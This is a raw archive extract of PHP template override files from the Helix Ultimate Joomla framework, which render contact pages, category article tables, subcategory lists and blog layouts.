			<?php if ($presentation_style === 'sliders') : ?>
				<?php if (!$accordionStarted)
				{
					echo HTMLHelper::_('bootstrap.startAccordion', 'slide-contact', array('active' => 'display-profile'));
					$accordionStarted = true;
				}
				?>
				<?php echo HTMLHelper::_('bootstrap.addSlide', 'slide-contact', Text::_('COM_CONTACT_PROFILE'), 'display-profile'); ?>
			<?php elseif ($presentation_style === 'tabs') : ?>
				<?php if (!$tabSetStarted)
				{
					echo HTMLHelper::_('bootstrap.startTabSet', 'myTab', array('active' => 'display-profile'));
					$tabSetStarted = true;
				}
				?>
				<?php echo HTMLHelper::_('bootstrap.addTab', 'myTab', 'display-profile', Text::_('COM_CONTACT_PROFILE')); ?>
			<?php elseif ($presentation_style === 'plain') : ?>
				<?php echo '<h3>' . Text::_('COM_CONTACT_PROFILE') . '</h3>'; ?>
			<?php endif; ?>

			<?php echo $this->loadTemplate('profile'); ?>

			<?php if ($presentation_style === 'sliders') : ?>
				<?php echo HTMLHelper::_('bootstrap.endSlide'); ?>
			<?php elseif ($presentation_style === 'tabs') : ?>
				<?php echo HTMLHelper::_('bootstrap.endTab'); ?>
			<?php endif; ?>
		<?php endif; ?>

		<?php if ($tparams->get('show_user_custom_fields') && $this->contactUser) : ?>
			<?php echo $this->loadTemplate('user_custom_fields'); ?>
		<?php endif; ?>

		<?php if ($this->contact->misc && $tparams->get('show_misc')) : ?>
			<?php if ($presentation_style === 'sliders') : ?>
				<?php if (!$accordionStarted)
				{
					echo HTMLHelper::_('bootstrap.startAccordion', 'slide-contact', array('active' => 'display-misc'));
					$accordionStarted = true;
				}
				?>
				<?php echo HTMLHelper::_('bootstrap.addSlide', 'slide-contact', Text::_('COM_CONTACT_OTHER_INFORMATION'), 'display-misc'); ?>
			<?php elseif ($presentation_style === 'tabs') : ?>
				<?php if (!$tabSetStarted)
				{
					echo HTMLHelper::_('bootstrap.startTabSet', 'myTab', array('active' => 'display-misc'));
					$tabSetStarted = true;
				}
				?>
				<?php echo HTMLHelper::_('bootstrap.addTab', 'myTab', 'display-misc', Text::_('COM_CONTACT_OTHER_INFORMATION')); ?>
			<?php elseif ($presentation_style === 'plain') : ?>
				<?php echo '<h3>' . Text::_('COM_CONTACT_OTHER_INFORMATION') . '</h3>'; ?>
			<?php endif; ?>

			<div class="contact-miscinfo">
				<dl class="dl-horizontal">
					<dt>
						<span class="<?php echo $tparams->get('marker_class'); ?>">
						<?php echo $tparams->get('marker_misc'); ?>
						</span>
					</dt>
					<dd>
						<span class="contact-misc">
							<?php echo $this->contact->misc; ?>
						</span>
					</dd>
				</dl>
			</div>

			<?php if ($presentation_style === 'sliders') : ?>
				<?php echo HTMLHelper::_('bootstrap.endSlide'); ?>
			<?php elseif ($presentation_style === 'tabs') : ?>
				<?php echo HTMLHelper::_('bootstrap.endTab'); ?>
			<?php endif; ?>
		<?php endif; ?>

		<?php if ($accordionStarted) : ?>
			<?php echo HTMLHelper::_('bootstrap.endAccordion'); ?>
		<?php elseif ($tabSetStarted) : ?>
			<?php echo HTMLHelper::_('bootstrap.endTabSet'); ?>
		<?php endif; ?>

		<?php echo $this->item->event->afterDisplayContent; ?>
	</div>
<?php endif; ?>

<!-- for joomla4 -->
<?php if(JVERSION >= 4) : ?>
<div class="com-contact contact" itemscope itemtype="https://schema.org/Person">
	<?php if ($tparams->get('show_page_heading')) : ?>
		<h1>
			<?php echo $this->escape($tparams->get('page_heading')); ?>
		</h1>
	<?php endif; ?>

	<?php if ($this->item->name && $tparams->get('show_name')) : ?>
		<div class="page-header">
			<<?php echo $htag; ?>>
				<?php if ($this->item->published == 0) : ?>
					<span class="badge bg-warning text-light"><?php echo Text::_('JUNPUBLISHED'); ?></span>
				<?php endif; ?>
				<span class="contact-name" itemprop="name"><?php echo $this->item->name; ?></span>
			</<?php echo $htag; ?>>
		</div>
	<?php endif; ?>

	<?php if ($canEdit) : ?>
		<?php echo HTMLHelper::_('contacticon.edit', $this->item, $tparams); ?>
	<?php endif; ?>

	<?php $show_contact_category = $tparams->get('show_contact_category'); ?>

	<?php if ($show_contact_category === 'show_no_link') : ?>
		<h3>
			<span class="contact-category"><?php echo $this->item->category_title; ?></span>
		</h3>
	<?php elseif ($show_contact_category === 'show_with_link') : ?>
		<?php $contactLink = Route::_(JVERSION < 4 ? ContactHelperRoute::getCategoryRoute($this->item) : Joomla\Component\Contact\Site\Helper\RouteHelper::getCategoryRoute($this->item->catid, $this->item->language)); ?>
		<h3>
			<span class="contact-category"><a href="<?php echo $contactLink; ?>">
				<?php echo $this->escape($this->item->category_title); ?></a>
			</span>
		</h3>
	<?php endif; ?>

	<?php echo $this->item->event->afterDisplayTitle; ?>

	<?php if ($tparams->get('show_contact_list') && count($this->contacts) > 1) : ?>
		<form action="#" method="get" name="selectForm" id="selectForm" class="mb-4">
			<label for="select_contact" class="form-label"><?php echo Text::_('COM_CONTACT_SELECT_CONTACT'); ?></label>
			<?php echo HTMLHelper::_(
				'select.genericlist',
				$this->contacts,
				'select_contact',
				'class="form-select" onchange="document.location.href = this.value"', 'link', 'name', $this->item->link);
			?>
		</form>
	<?php endif; ?>

	<?php if ($tparams->get('show_tags', 1) && !empty($this->item->tags->itemTags)) : ?>
		<div class="com-contact__tags">
			<?php $this->item->tagLayout = new FileLayout('joomla.content.tags'); ?>
			<?php echo $this->item->tagLayout->render($this->item->tags->itemTags); ?>
		</div>
	<?php endif; ?>

	<?php echo $this->item->event->beforeDisplayContent; ?>

	<?php if ($this->params->get('show_info', 1)) : ?>
		<div class="row">
			<?php //echo '<h3>' . Text::_('COM_CONTACT_DETAILS') . '</h3>'; ?>
			<div class="col">
				<?php if ($this->item->con_position && $tparams->get('show_position')) : ?>
					<div class="contact-position d-flex mb-3">
						<div class="me-2">
							<strong><?php echo Text::_('COM_CONTACT_POSITION'); ?>:</strong>
						</div>
						<div itemprop="jobTitle">
							<?php echo $this->item->con_position; ?>
						</div>
					</div>
				<?php endif; ?>

				<div class="contact-info">
					<?php echo $this->loadTemplate('address'); ?>
					<?php if ($tparams->get('allow_vcard')) : ?>
						<div class="mb-4">
							<?php echo Text::_('COM_CONTACT_DOWNLOAD_INFORMATION_AS'); ?>
							<a href="<?php echo Route::_('index.php?option=com_contact&amp;view=contact&amp;id=' . $this->item->id . '&amp;format=vcf'); ?>">
								<?php echo Text::_('COM_CONTACT_VCARD'); ?>
							</a>
						</div>
					<?php endif; ?>
				</div>
			</div>

			<?php if ($this->item->image && $tparams->get('show_image')) : ?>
				<div class="col-lg-auto">
					<?php echo HTMLHelper::_(
						'image',
						$this->item->image,
						htmlspecialchars($this->item->name,  ENT_QUOTES, 'UTF-8'),
						array('itemprop' => 'image')
					); ?>
				</div>
			<?php endif; ?>
		</div>
	<?php endif; ?>

	<?php if ($tparams->get('show_email_form') && ($this->item->email_to || $this->item->user_id)) : ?>
		<?php echo '<h3>' . Text::_('COM_CONTACT_EMAIL_FORM') . '</h3>'; ?>
		<?php echo $this->loadTemplate('form'); ?>
	<?php endif; ?>

	<?php if ($tparams->get('show_links')) : ?>
		<?php echo $this->loadTemplate('links'); ?>
	<?php endif; ?>

	<?php if ($tparams->get('show_articles') && $this->item->user_id && $this->item->articles) : ?>
		<?php echo '<h3>' . Text::_('JGLOBAL_ARTICLES') . '</h3>'; ?>
		<?php echo $this->loadTemplate('articles'); ?>
	<?php endif; ?>

	<?php if ($tparams->get('show_profile') && $this->item->user_id && PluginHelper::isEnabled('user', 'profile')) : ?>
		<?php echo '<h3>' . Text::_('COM_CONTACT_PROFILE') . '</h3>'; ?>
		<?php echo $this->loadTemplate('profile'); ?>
	<?php endif; ?>

	<?php if ($tparams->get('show_user_custom_fields') && $this->contactUser) : ?>
		<?php echo $this->loadTemplate('user_custom_fields'); ?>
	<?php endif; ?>

	<?php if ($this->item->misc && $tparams->get('show_misc')) : ?>
		<div class="contact-miscinfo">
			<?php echo '<h3>' . Text::_('COM_CONTACT_OTHER_INFORMATION') . '</h3>'; ?>
			<div class="d-flex">
				<div class="me-2">
					<?php if (!$this->params->get('marker_misc')) : ?>
						<span class="fas fa-info-circle" aria-hidden="true"></span>
						<span class="visually-hidden"><?php echo Text::_('COM_CONTACT_OTHER_INFORMATION'); ?></span>
					<?php else : ?>
						<span class="<?php echo $this->params->get('marker_class'); ?>">
							<?php echo $this->params->get('marker_misc'); ?>
						</span>
					<?php endif; ?>
				</div>
				<div class="contact-misc">
					<?php echo $this->item->misc; ?>
				</div>
			</div>
		</div>
	<?php endif; ?>
	<?php echo $this->item->event->afterDisplayContent; ?>
</div>
<?php endif; ?>
PK!���GG;helixultimate/overrides/com_content/category/blog_links.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

use Joomla\CMS\Router\Route;

?>

<ul class="list-group">
	<?php foreach ($this->link_items as &$item) : ?>
		<li class="list-group-item">
			<a href="<?php echo Route::_(ContentHelperRoute::getArticleRoute($item->slug, $item->catid, $item->language)); ?>">
				<?php echo $item->title; ?></a>
		</li>
	<?php endforeach; ?>
</ul>
PK!2�m�G6G6Ahelixultimate/overrides/com_content/category/default_articles.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Associations;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;

HTMLHelper::addIncludePath(JPATH_COMPONENT . '/helpers/html');

// Create some shortcuts.
$n         = count($this->items);
$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));

// Check for at least one editable article
$isEditable = false;

if (!empty($this->items))
{
	foreach ($this->items as $article)
	{
		if ($article->params->get('access-edit'))
		{
			$isEditable = true;
			break;
		}
	}
}
$currentDate = Factory::getDate()->format('Y-m-d H:i:s');
?>

<form action="<?php echo htmlspecialchars(Uri::getInstance()->toString()); ?>" method="post" name="adminForm" id="adminForm">

<?php if ($this->params->get('filter_field') !== 'hide' || $this->params->get('show_pagination_limit')) : ?>
	<div class="d-flex justify-content-between align-items-centerd-flex mb-4">
		<div class="me-auto align-self-center">
			<strong><?php echo Text::_('COM_CONTENT_FORM_FILTER_LEGEND'); ?></strong>
		</div>
		
		<div>
			<div class="filters row gx-3">
				<?php if ($this->params->get('filter_field') !== 'hide') : ?>			
					<?php if ($this->params->get('filter_field') !== 'tag') : ?>
						<div class="col">
							<label class="filter-search-lbl visually-hidden" for="filter-search">
								<?php echo Text::_('COM_CONTENT_' . $this->params->get('filter_field') . '_FILTER_LABEL') . '&#160;'; ?>
							</label>
							<input type="text" name="filter-search" id="filter-search" value="<?php echo $this->escape($this->state->get('list.filter')); ?>" class="form-control" onchange="document.adminForm.submit();" title="<?php echo Text::_('COM_CONTENT_FILTER_SEARCH_DESC'); ?>" placeholder="<?php echo Text::_('COM_CONTENT_' . $this->params->get('filter_field') . '_FILTER_LABEL'); ?>">
						</div>
					<?php else : ?>
						<div class="col">
							<select name="filter_tag" id="filter_tag" onchange="document.adminForm.submit();" >
								<option value=""><?php echo Text::_('JOPTION_SELECT_TAG'); ?></option>
								<?php echo HTMLHelper::_('select.options', HTMLHelper::_('tag.options', true, true), 'value', 'text', $this->state->get('filter.tag')); ?>
							</select>
						</div>
					<?php endif; ?>
				<?php endif; ?>
				<?php if ($this->params->get('show_pagination_limit')) : ?>
					<div class="col">
						<label for="limit" class="visually-hidden">
							<?php echo Text::_('JGLOBAL_DISPLAY_NUM'); ?>
						</label>
						<?php echo $this->pagination->getLimitBox(); ?>
					</div>
				<?php endif; ?>
				<div class="col-auto">
					<input type="hidden" name="filter_order" value="">
					<input type="hidden" name="filter_order_Dir" value="">
					<input type="hidden" name="limitstart" value="">
					<input type="hidden" name="task" value="">
					<button type="submit" name="filter_submit" class="btn btn-secondary"><?php echo Text::_('COM_CONTENT_FORM_FILTER_SUBMIT'); ?></button>
				</div>
			</div>
		</div>
	</div>
<?php endif; ?>

<?php if (empty($this->items)) : ?>
	<?php if ($this->params->get('show_no_articles', 1)) : ?>
		<p><?php echo Text::_('COM_CONTENT_NO_ARTICLES'); ?></p>
	<?php endif; ?>
<?php else : ?>

	<table class="category table table-bordered">
		<?php
		$headerTitle    = '';
		$headerDate     = '';
		$headerAuthor   = '';
		$headerHits     = '';
		$headerVotes    = '';
		$headerRatings  = '';
		$headerEdit     = '';
		?>
		<?php if ($this->params->get('show_headings')) : ?>
			<?php
			$headerTitle    = 'headers="categorylist_header_title"';
			$headerDate     = 'headers="categorylist_header_date"';
			$headerAuthor   = 'headers="categorylist_header_author"';
			$headerHits     = 'headers="categorylist_header_hits"';
			$headerVotes    = 'headers="categorylist_header_votes"';
			$headerRatings  = 'headers="categorylist_header_ratings"';
			$headerEdit     = 'headers="categorylist_header_edit"';
			?>
			<thead>
			<tr>
				<th scope="col" id="categorylist_header_title">
					<?php echo HTMLHelper::_('grid.sort', 'JGLOBAL_TITLE', 'a.title', $listDirn, $listOrder, null, 'asc', '', 'adminForm'); ?>
				</th>
				<?php if ($date = $this->params->get('list_show_date')) : ?>
					<th scope="col" id="categorylist_header_date">
						<?php if ($date === 'created') : ?>
							<?php echo HTMLHelper::_('grid.sort', 'COM_CONTENT_' . $date . '_DATE', 'a.created', $listDirn, $listOrder); ?>
						<?php elseif ($date === 'modified') : ?>
							<?php echo HTMLHelper::_('grid.sort', 'COM_CONTENT_' . $date . '_DATE', 'a.modified', $listDirn, $listOrder); ?>
						<?php elseif ($date === 'published') : ?>
							<?php echo HTMLHelper::_('grid.sort', 'COM_CONTENT_' . $date . '_DATE', 'a.publish_up', $listDirn, $listOrder); ?>
						<?php endif; ?>
					</th>
				<?php endif; ?>
				<?php if ($this->params->get('list_show_author')) : ?>
					<th scope="col" id="categorylist_header_author">
						<?php echo HTMLHelper::_('grid.sort', 'JAUTHOR', 'author', $listDirn, $listOrder); ?>
					</th>
				<?php endif; ?>
				<?php if ($this->params->get('list_show_hits')) : ?>
					<th scope="col" id="categorylist_header_hits">
						<?php echo HTMLHelper::_('grid.sort', 'JGLOBAL_HITS', 'a.hits', $listDirn, $listOrder); ?>
					</th>
				<?php endif; ?>
				<?php if ($this->params->get('list_show_votes', 0) && $this->vote) : ?>
					<th scope="col" id="categorylist_header_votes">
						<?php echo HTMLHelper::_('grid.sort', 'COM_CONTENT_VOTES', 'rating_count', $listDirn, $listOrder); ?>
					</th>
				<?php endif; ?>
				<?php if ($this->params->get('list_show_ratings', 0) && $this->vote) : ?>
					<th scope="col" id="categorylist_header_ratings">
						<?php echo HTMLHelper::_('grid.sort', 'COM_CONTENT_RATINGS', 'rating', $listDirn, $listOrder); ?>
					</th>
				<?php endif; ?>
				<?php if ($isEditable) : ?>
					<th scope="col" id="categorylist_header_edit"><?php echo Text::_('COM_CONTENT_EDIT_ITEM'); ?></th>
				<?php endif; ?>
			</tr>
			</thead>
		<?php endif; ?>
		<tbody>
		<?php foreach ($this->items as $i => $article) : ?>
			<?php if ($this->items[$i]->state == 0) : ?>
				<tr class="system-unpublished cat-list-row<?php echo $i % 2; ?>">
			<?php else : ?>
				<tr class="cat-list-row<?php echo $i % 2; ?>" >
			<?php endif; ?>
			<td headers="categorylist_header_title" class="list-title">
				<?php if (in_array($article->access, $this->user->getAuthorisedViewLevels())) : ?>
					<a href="<?php echo Route::_(ContentHelperRoute::getArticleRoute($article->slug, $article->catid, $article->language)); ?>">
						<?php echo $this->escape($article->title); ?>
					</a>
					<?php if (Associations::isEnabled() && $this->params->get('show_associations')) : ?>
						<?php $associations = ContentHelperAssociation::displayAssociations($article->id); ?>
						<?php foreach ($associations as $association) : ?>
							<?php if ($this->params->get('flags', 1)) : ?>
								<?php $flag = HTMLHelper::_('image', 'mod_languages/' . $association['language']->image . '.gif', $association['language']->title_native, array('title' => $association['language']->title_native), true); ?>
								&nbsp;<a href="<?php echo Route::_($association['item']); ?>"><?php echo $flag; ?></a>&nbsp;
							<?php else : ?>
								<?php $class = 'label label-association label-' . $association['language']->sef; ?>
								&nbsp;<a class="' . <?php echo $class; ?> . '" href="<?php echo Route::_($association['item']); ?>"><?php echo strtoupper($association['language']->sef); ?></a>&nbsp;
							<?php endif; ?>
						<?php endforeach; ?>
					<?php endif; ?>
				<?php else : ?>
					<?php
					echo $this->escape($article->title) . ' : ';
					$itemId = Factory::getApplication()->getMenu()->getActive()->id;
					$link   = new Uri(Route::_('index.php?option=com_users&view=login&Itemid=' . $itemId, false));
					$link->setVar('return', base64_encode(ContentHelperRoute::getArticleRoute($article->slug, $article->catid, $article->language)));
					?>
					<a href="<?php echo $link; ?>" class="register">
						<?php echo Text::_('COM_CONTENT_REGISTER_TO_READ_MORE'); ?>
					</a>
					<?php if (Associations::isEnabled() && $this->params->get('show_associations')) : ?>
						<?php $associations = ContentHelperAssociation::displayAssociations($article->id); ?>
						<?php foreach ($associations as $association) : ?>
							<?php if ($this->params->get('flags', 1)) : ?>
								<?php $flag = HTMLHelper::_('image', 'mod_languages/' . $association['language']->image . '.gif', $association['language']->title_native, array('title' => $association['language']->title_native), true); ?>
								&nbsp;<a href="<?php echo Route::_($association['item']); ?>"><?php echo $flag; ?></a>&nbsp;
							<?php else : ?>
								<?php $class = 'label label-association label-' . $association['language']->sef; ?>
								&nbsp;<a class="' . <?php echo $class; ?> . '" href="<?php echo Route::_($association['item']); ?>"><?php echo strtoupper($association['language']->sef); ?></a>&nbsp;
							<?php endif; ?>
						<?php endforeach; ?>
					<?php endif; ?>
				<?php endif; ?>

				<!-- check for the Joomla version  -->
				<?php if (JVERSION < 4): ?>
					<?php if ($article->state == 0) : ?>
						<span class="list-published badge bg-warning text-dark">
							<?php echo Text::_('JUNPUBLISHED'); ?>
						</span>
					<?php endif; ?>
					<?php if (strtotime($article->publish_up) > strtotime(Factory::getDate())) : ?>
						<span class="list-published badge bg-warning text-dark">
							<?php echo Text::_('JNOTPUBLISHEDYET'); ?>
						</span>
					<?php endif; ?>
					<?php if ((strtotime($article->publish_down) < strtotime(Factory::getDate())) && $article->publish_down != Factory::getDbo()->getNullDate()) : ?>
						<span class="list-published badge bg-warning text-dark">
							<?php echo Text::_('JEXPIRED'); ?>
						</span>
					<?php endif; ?>
				<?php else: ?>
					<?php if ($article->state == Joomla\Component\Content\Administrator\Extension\ContentComponent::CONDITION_UNPUBLISHED) : ?>
						<div>
							<span class="list-published badge bg-warning text-dark">
								<?php echo Text::_('JUNPUBLISHED'); ?>
							</span>
						</div>
					<?php endif; ?>
					<?php if ($article->publish_up > $currentDate) : ?>
						<div>
							<span class="list-published badge bg-warning text-dark">
								<?php echo Text::_('JNOTPUBLISHEDYET'); ?>
							</span>
						</div>
					<?php endif; ?>
					<?php if (!is_null($article->publish_down) && $article->publish_down < $currentDate) : ?>
						<div>
							<span class="list-published badge bg-warning text-dark">
								<?php echo Text::_('JEXPIRED'); ?>
							</span>
						</div>
					<?php endif; ?>
				<?php endif ?>

			</td>
			<?php if ($this->params->get('list_show_date')) : ?>
				<td headers="categorylist_header_date" class="list-date small">
					<?php
					echo HTMLHelper::_(
						'date', $article->displayDate,
						$this->escape($this->params->get('date_format', Text::_('DATE_FORMAT_LC3')))
					); ?>
				</td>
			<?php endif; ?>
			<?php if ($this->params->get('list_show_author', 1)) : ?>
				<td headers="categorylist_header_author" class="list-author">
					<?php if (!empty($article->author) || !empty($article->created_by_alias)) : ?>
						<?php $author = $article->author ?>
						<?php $author = $article->created_by_alias ?: $author; ?>
						<?php if (!empty($article->contact_link) && $this->params->get('link_author') == true) : ?>
							<?php echo Text::sprintf('COM_CONTENT_WRITTEN_BY', HTMLHelper::_('link', $article->contact_link, $author)); ?>
						<?php else : ?>
							<?php echo Text::sprintf('COM_CONTENT_WRITTEN_BY', $author); ?>
						<?php endif; ?>
					<?php endif; ?>
				</td>
			<?php endif; ?>
			<?php if ($this->params->get('list_show_hits', 1)) : ?>
				<td headers="categorylist_header_hits" class="list-hits">
					<span class="badge bg-primary">
						<?php echo Text::sprintf('JGLOBAL_HITS_COUNT', $article->hits); ?>
					</span>
				</td>
			<?php endif; ?>
			<?php if ($this->params->get('list_show_votes', 0) && $this->vote) : ?>
				<td headers="categorylist_header_votes" class="list-votes">
					<span class="badge bg-success">
						<?php echo Text::sprintf('COM_CONTENT_VOTES_COUNT', $article->rating_count); ?>
					</span>
				</td>
			<?php endif; ?>
			<?php if ($this->params->get('list_show_ratings', 0) && $this->vote) : ?>
				<td headers="categorylist_header_ratings" class="list-ratings">
					<span class="badge bg-warning">
						<?php echo Text::sprintf('COM_CONTENT_RATINGS_COUNT', $article->rating); ?>
					</span>
				</td>
			<?php endif; ?>
			<?php if ($isEditable) : ?>
				<td headers="categorylist_header_edit" class="list-edit">
					<?php if ($article->params->get('access-edit')) : ?>
						<?php echo HTMLHelper::_('icon.edit', $article, $article->params); ?>
					<?php endif; ?>
				</td>
			<?php endif; ?>
			</tr>
		<?php endforeach; ?>
		</tbody>
	</table>
<?php endif; ?>

<?php if (!empty($this->items)) : ?>
	<?php if (($this->params->def('show_pagination', 2) == 1  || ($this->params->get('show_pagination') == 2)) && ($this->pagination->pagesTotal > 1)) : ?>
		<nav class="d-flex pagination-wrapper">
			<?php if ($this->params->def('show_pagination_results', 1)) : ?>
				<div class="me-auto">
					<?php echo $this->pagination->getPagesLinks(); ?>
				</div>
				<div class="pagination-counter">
					<?php echo $this->pagination->getPagesCounter(); ?>
				</div>
			<?php endif; ?>
		</nav>
	<?php endif; ?>
<?php endif; ?>
</form>
PK!�L�Ahelixultimate/overrides/com_content/category/default_children.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

$class  = ' class="first"';
$lang   = Factory::getLanguage();
$user   = Factory::getUser();
$groups = $user->getAuthorisedViewLevels();
?>

<?php if (count($this->children[$this->category->id]) > 0) : ?>
	<?php foreach ($this->children[$this->category->id] as $id => $child) : ?>
		<?php // Check whether category access level allows access to subcategories. ?>
		<?php if (in_array($child->access, $groups)) : ?>
			<?php
			if ($this->params->get('show_empty_categories') || $child->getNumItems(true) || count($child->getChildren())) :
				if (!isset($this->children[$this->category->id][$id + 1])) :
					$class = ' class="last"';
				endif;
			?>

			<div<?php echo $class; ?>>
				<?php $class = ''; ?>
				<?php if ($lang->isRtl()) : ?>
				<h3 class="page-header item-title">
					<?php if ( $this->params->get('show_cat_num_articles', 1)) : ?>
						<span class="badge bg-info tip hasTooltip" title="<?php echo HTMLHelper::_('tooltipText', 'COM_CONTENT_NUM_ITEMS_TIP'); ?>">
							<?php echo $child->getNumItems(true); ?>
						</span>
					<?php endif; ?>
					<a href="<?php echo Route::_(ContentHelperRoute::getCategoryRoute($child->id)); ?>">
					<?php echo $this->escape($child->title); ?></a>

					<?php if (count($child->getChildren()) > 0 && $this->maxLevel > 1) : ?>
						<a href="#category-<?php echo $child->id; ?>" data-bs-toggle="collapse" data-bs-toggle="button" class="btn btn-xs float-end" aria-label="<?php echo Text::_('JGLOBAL_EXPAND_CATEGORIES'); ?>"><span class="icon-plus" aria-hidden="true"></span></a>
					<?php endif; ?>
				</h3>
				<?php else : ?>
				<h3 class="page-header item-title"><a href="<?php echo Route::_(ContentHelperRoute::getCategoryRoute($child->id)); ?>">
					<?php echo $this->escape($child->title); ?></a>
					<?php if ( $this->params->get('show_cat_num_articles', 1)) : ?>
						<span class="badge bg-info tip hasTooltip" title="<?php echo HTMLHelper::_('tooltipText', 'COM_CONTENT_NUM_ITEMS_TIP'); ?>">
							<?php echo $child->getNumItems(true); ?>
						</span>
					<?php endif; ?>

					<?php if (count($child->getChildren()) > 0 && $this->maxLevel > 1) : ?>
						<a href="#category-<?php echo $child->id; ?>" data-bs-toggle="collapse" data-bs-toggle="button" class="btn btn-xs float-end" aria-label="<?php echo Text::_('JGLOBAL_EXPAND_CATEGORIES'); ?>"><span class="icon-plus" aria-hidden="true"></span></a>
					<?php endif; ?>
				</h3>
				<?php endif; ?>
				<?php if ($this->params->get('show_subcat_desc') == 1) : ?>
					<?php if ($child->description) : ?>
						<div class="category-desc">
							<?php echo HTMLHelper::_('content.prepare', $child->description, '', 'com_content.category'); ?>
						</div>
					<?php endif; ?>
				<?php endif; ?>

				<?php if (count($child->getChildren()) > 0 && $this->maxLevel > 1) : ?>
				<div class="collapse fade" id="category-<?php echo $child->id; ?>">
					<?php
					$this->children[$child->id] = $child->getChildren();
					$this->category = $child;
					$this->maxLevel--;
					echo $this->loadTemplate('children');
					$this->category = $child->getParent();
					$this->maxLevel++;
					?>
				</div>
				<?php endif; ?>
			</div>
			<?php endif; ?>
		<?php endif; ?>
	<?php endforeach; ?>
<?php endif; ?>
PK!n+���5helixultimate/overrides/com_content/category/blog.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\FileLayout;

HTMLHelper::addIncludePath(JPATH_COMPONENT . '/helpers');

$app = Factory::getApplication();

$this->category->text = $this->category->description;
$app->triggerEvent('onContentPrepare', array($this->category->extension . '.categories', &$this->category, &$this->params, 0));
$this->category->description = $this->category->text;

$results = $app->triggerEvent('onContentAfterTitle', array($this->category->extension . '.categories', &$this->category, &$this->params, 0));
$afterDisplayTitle = trim(implode("\n", $results));

$results = $app->triggerEvent('onContentBeforeDisplay', array($this->category->extension . '.categories', &$this->category, &$this->params, 0));
$beforeDisplayContent = trim(implode("\n", $results));

$results = $app->triggerEvent('onContentAfterDisplay', array($this->category->extension . '.categories', &$this->category, &$this->params, 0));
$afterDisplayContent = trim(implode("\n", $results));

?>

<div class="blog<?php echo $this->pageclass_sfx; ?>">
	<?php if ($this->params->get('show_page_heading')) : ?>
		<div class="page-header">
			<h1><?php echo $this->escape($this->params->get('page_heading')); ?></h1>
		</div>
	<?php endif; ?>

	<?php if ($this->params->get('show_category_title', 1) or $this->params->get('page_subheading')) : ?>
		<h2>
			<?php echo $this->escape($this->params->get('page_subheading')); ?>
			<?php if ($this->params->get('show_category_title')) : ?>
				<span class="subheading-category"><?php echo $this->category->title; ?></span>
			<?php endif; ?>
		</h2>
	<?php endif; ?>
	
	<?php echo $afterDisplayTitle; ?>

	<?php if ($this->params->get('show_cat_tags', 1) && !empty($this->category->tags->itemTags)) : ?>
		<?php $this->category->tagLayout = new FileLayout('joomla.content.tags'); ?>
		<?php echo $this->category->tagLayout->render($this->category->tags->itemTags); ?>
	<?php endif; ?>

	<?php if ($beforeDisplayContent || $afterDisplayContent || $this->params->get('show_description', 1) || $this->params->def('show_description_image', 1)) : ?>
		<div class="category-desc clearfix">
			<?php if ($this->params->get('show_description_image') && $this->category->getParams()->get('image')) : ?>
				<img src="<?php echo $this->category->getParams()->get('image'); ?>" alt="<?php echo htmlspecialchars($this->category->getParams()->get('image_alt'), ENT_COMPAT, 'UTF-8'); ?>">
			<?php endif; ?>
			<?php echo $beforeDisplayContent; ?>
			<?php if ($this->params->get('show_description') && $this->category->description) : ?>
				<?php echo HTMLHelper::_('content.prepare', $this->category->description, '', 'com_content.category'); ?>
			<?php endif; ?>
			<?php echo $afterDisplayContent; ?>
		</div>
	<?php endif; ?>

	<?php if (empty($this->lead_items) && empty($this->link_items) && empty($this->intro_items)) : ?>
		<?php if ($this->params->get('show_no_articles', 1)) : ?>
			<p><?php echo Text::_('COM_CONTENT_NO_ARTICLES'); ?></p>
		<?php endif; ?>
	<?php endif; ?>

	<?php $leadingcount = 0; ?>
	<?php if (!empty($this->lead_items)) : ?>
		<div class="article-list articles-leading<?php echo $this->params->get('blog_class_leading'); ?>">
			<?php foreach ($this->lead_items as &$item) : ?>
				<div class="article<?php echo $item->state == 0 ? ' system-unpublished' : null; ?>"
					itemprop="blogPost" itemscope itemtype="https://schema.org/BlogPosting">
						<?php
						$this->item = & $item;
						$this->item->leading = true;
						echo $this->loadTemplate('item');
						?>
				</div>
				<?php $leadingcount++; ?>
			<?php endforeach; ?>
		</div>
	<?php endif; ?>

	<?php
	$introcount = count($this->intro_items);
	$counter = 0;
	?>

	<?php if (!empty($this->intro_items)) : ?>
		<?php $blogClass = $this->params->get('blog_class', ''); ?>
		<?php if ((int) $this->params->get('num_columns') > 1) : ?>
			<?php $blogClass .= 'cols-' . (int) $this->params->get('num_columns'); ?>	
		<?php endif; ?>
		<div class="article-list">
			<div class="row row-<?php echo $counter + 1; ?> <?php echo $blogClass; ?>">
			<?php foreach ($this->intro_items as $key => &$item) : ?>
				<div class="col-lg-<?php echo round(12 / $this->params->get('num_columns')); ?>">
					<div class="article"
						itemprop="blogPost" itemscope itemtype="https://schema.org/BlogPosting">
						<?php
						$this->item = & $item;
						echo $this->loadTemplate('item');
						?>
					</div>
					<?php $counter++; ?>
				</div>
			<?php endforeach; ?>
			</div>
